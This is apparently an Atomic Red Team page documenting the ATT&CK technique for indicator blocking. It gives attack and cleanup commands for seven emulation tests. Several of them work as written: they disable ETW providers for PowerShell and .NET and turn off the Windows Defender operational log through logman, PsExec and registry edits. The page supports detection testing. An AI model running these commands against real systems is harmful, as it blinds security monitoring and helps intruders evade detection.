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Impair Defenses: Indicator Blocking

Description from ATT&CK

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

For example, adversaries may modify the 

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File
value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).

Atomic Tests

Atomic Test #1 - Auditing Configuration Changes on Linux Host

Emulates modification of auditd configuration files

Supported Platforms: linux

auto_generated_guid: 212cfbcf-4770-4980-bc21-303e37abd0e3

Inputs:

Name Description Type Default Value
audisp_config_file_name The name of the audispd configuration file to be changed string audispd.conf
auditd_config_file_name The name of the auditd configuration file to be changed string auditd.conf
libaudit_config_file_name The name of the libaudit configuration file to be changed string libaudit.conf

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

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sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}
else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}
fi 
sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}

Cleanup Commands:

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sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ d' /etc/#{auditd_config_file_name}
else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
fi
sed -i '$ d' /etc/#{libaudit_config_file_name}

Atomic Test #2 - Logging Configuration Changes on Linux Host

Emulates modification of syslog configuration.

Supported Platforms: linux

auto_generated_guid: 7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c

Inputs:

Name Description Type Default Value
syslog_config_file_name The name of the syslog configuration file to be changed string syslog.conf
rsyslog_config_file_name The name of the rsyslog configuration file to be changed string rsyslog.conf
syslog_ng_config_file_name The name of the syslog-ng configuration file to be changed string syslog-ng.conf

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

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if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi

Cleanup Commands:

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if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ d' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ d' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi

Atomic Test #3 - Disable Powershell ETW Provider - Windows

This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.

Supported Platforms: windows

auto_generated_guid: 6f118276-121d-4c09-bb58-a8fb4a72ee84

Inputs:

Name Description Type Default Value
ps_exec_location Location of PSExec. string $env:temp\pstools\PsExec.exe
session The session to disable. string EventLog-Application
provider The provider to disable. string Microsoft-Windows-Powershell

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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cmd /c "#{ps_exec_location}" -accepteula -i -s cmd.exe /c logman update trace "#{session}" --p "#{provider}" -ets

Cleanup Commands:

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cmd /c "#{ps_exec_location}" -i -s cmd.exe /c logman update trace "#{session}" -p "#{provider}" -ets

Dependencies: Run with powershell!

Description: PSExec must be installed on the machine. Check Prereq Commands:

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if (Test-Path "#{ps_exec_location}") {exit 0} else {exit 1}

Get Prereq Commands:

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start-bitstransfer -source "https://download.sysinternals.com/files/PSTools.zip" -destination "$env:temp\PStools.zip"
expand-archive -literalpath "$env:temp\PStools.zip" -destinationpath "$env:temp\pstools" -force

Atomic Test #4 - Disable .NET Event Tracing for Windows Via Registry (cmd)

Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry

Supported Platforms: windows

auto_generated_guid: 8a4c33be-a0d3-434a-bee6-315405edbd5b

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0

Cleanup Commands:

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REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1

Atomic Test #5 - Disable .NET Event Tracing for Windows Via Registry (powershell)

Disables ETW for the .NET Framework using PowerShell to update the Windows registry

Supported Platforms: windows

auto_generated_guid: 19c07a45-452d-4620-90ed-4c34fffbe758

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType "DWord" -Force

Cleanup Commands:

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REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1

Atomic Test #6 - LockBit Black - Disable the ETW Provider of Windows Defender -cmd

An adversary can disable the ETW Provider of Windows Defender, so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.

Supported Platforms: windows

auto_generated_guid: f6df0b8e-2c83-44c7-ba5e-0fa4386bec41

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender" /v Operational /t REG_DWORD /d 0 /f

Cleanup Commands:

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reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender" /v Operational /f >nul 2>&1

Atomic Test #7 - LockBit Black - Disable the ETW Provider of Windows Defender -Powershell

An adversary can disable the ETW Provider of Windows Defender, so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.

Supported Platforms: windows

auto_generated_guid: 69fc085b-5444-4879-8002-b24c8e1a3e02

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender" -Name Operational  -PropertyType DWord -Value 0 -Force

Cleanup Commands:

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Remove-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender" -Name Operational -Force -ErrorAction Ignore

source